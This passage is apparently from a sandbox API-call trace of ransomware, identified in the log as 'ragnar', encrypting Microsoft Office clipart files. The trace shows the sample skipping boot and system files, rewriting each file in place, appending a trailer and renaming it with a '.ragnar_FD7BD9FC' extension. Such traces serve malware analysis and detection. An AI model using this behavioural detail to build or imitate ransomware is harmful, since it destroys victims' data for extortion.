Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" [0079.725] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.ragnar_FD7BD9FC" [0079.725] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.725] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0079.725] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.725] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00126_.GIF" | out: lpString1="AG00126_.GIF") returned="AG00126_.GIF" [0079.725] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned=".GIF" [0079.725] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.725] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="autorun.inf") returned -1 [0079.725] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="boot.ini") returned -1 [0079.725] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="bootfont.bin") returned -1 [0079.725] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="bootsect.bak") returned -1 [0079.725] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="bootmgr") returned -1 [0079.726] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="bootmgr.efi") returned -1 [0079.726] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.726] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="desktop.ini") returned -1 [0079.726] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="iconcache.db") returned -1 [0079.726] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="ntldr") returned -1 [0079.726] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="ntuser.dat") returned -1 [0079.726] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.726] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="ntuser.ini") returned -1 [0079.726] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="thumbs.db") returned -1 [0079.726] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.726] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.726] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.726] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.726] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.726] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.726] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0079.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.726] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3140) returned 1 [0079.726] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.726] GetProcessHeap () returned 0x580000 [0079.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.726] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.728] VirtualAlloc (lpAddress=0x0, dwSize=0xc44, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.728] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc44, lpOverlapped=0x0) returned 1 [0079.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.729] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc44, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.729] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc44, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc44, lpOverlapped=0x0) returned 1 [0079.729] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.729] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.729] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.729] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.729] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.729] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.729] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.729] GetProcessHeap () returned 0x580000 [0079.729] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.730] CloseHandle (hObject=0xf4) returned 1 [0079.730] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" [0079.730] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.ragnar_FD7BD9FC" [0079.730] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.730] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0079.730] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.730] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00129_.GIF" | out: lpString1="AG00129_.GIF") returned="AG00129_.GIF" [0079.730] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned=".GIF" [0079.730] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.730] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="autorun.inf") returned -1 [0079.730] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="boot.ini") returned -1 [0079.730] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="bootfont.bin") returned -1 [0079.730] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="bootsect.bak") returned -1 [0079.731] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="bootmgr") returned -1 [0079.731] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="bootmgr.efi") returned -1 [0079.731] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.731] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="desktop.ini") returned -1 [0079.731] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="iconcache.db") returned -1 [0079.731] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="ntldr") returned -1 [0079.731] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="ntuser.dat") returned -1 [0079.731] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.731] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="ntuser.ini") returned -1 [0079.731] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="thumbs.db") returned -1 [0079.731] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.731] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.731] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.731] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.731] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.731] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.731] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0079.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.732] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12482) returned 1 [0079.732] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.732] GetProcessHeap () returned 0x580000 [0079.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.732] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.733] VirtualAlloc (lpAddress=0x0, dwSize=0x30c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.734] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30c2, lpOverlapped=0x0) returned 1 [0079.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.735] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.735] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30c2, lpOverlapped=0x0) returned 1 [0079.735] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.735] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.735] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.735] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.735] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.736] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.736] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.736] GetProcessHeap () returned 0x580000 [0079.736] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.736] CloseHandle (hObject=0xf4) returned 1 [0079.736] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" [0079.736] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.ragnar_FD7BD9FC" [0079.736] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.736] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0079.736] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.736] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00130_.GIF" | out: lpString1="AG00130_.GIF") returned="AG00130_.GIF" [0079.736] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned=".GIF" [0079.736] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.736] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="autorun.inf") returned -1 [0079.736] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="boot.ini") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="bootfont.bin") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="bootsect.bak") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="bootmgr") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="bootmgr.efi") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="desktop.ini") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="iconcache.db") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="ntldr") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="ntuser.dat") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="ntuser.ini") returned -1 [0079.737] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="thumbs.db") returned -1 [0079.737] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.737] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.737] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.737] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.737] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.737] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.737] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0079.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.737] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5253) returned 1 [0079.738] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x147c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.738] GetProcessHeap () returned 0x580000 [0079.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.738] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.739] VirtualAlloc (lpAddress=0x0, dwSize=0x1485, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.740] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.740] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.740] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1485, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1485, lpOverlapped=0x0) returned 1 [0079.741] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.741] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1485, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.741] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1485, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1485, lpOverlapped=0x0) returned 1 [0079.741] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1485, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.741] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.741] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1485, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.741] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.741] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.741] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.741] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.742] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.742] GetProcessHeap () returned 0x580000 [0079.742] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.742] CloseHandle (hObject=0xf4) returned 1 [0079.742] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" [0079.742] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.ragnar_FD7BD9FC" [0079.742] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program 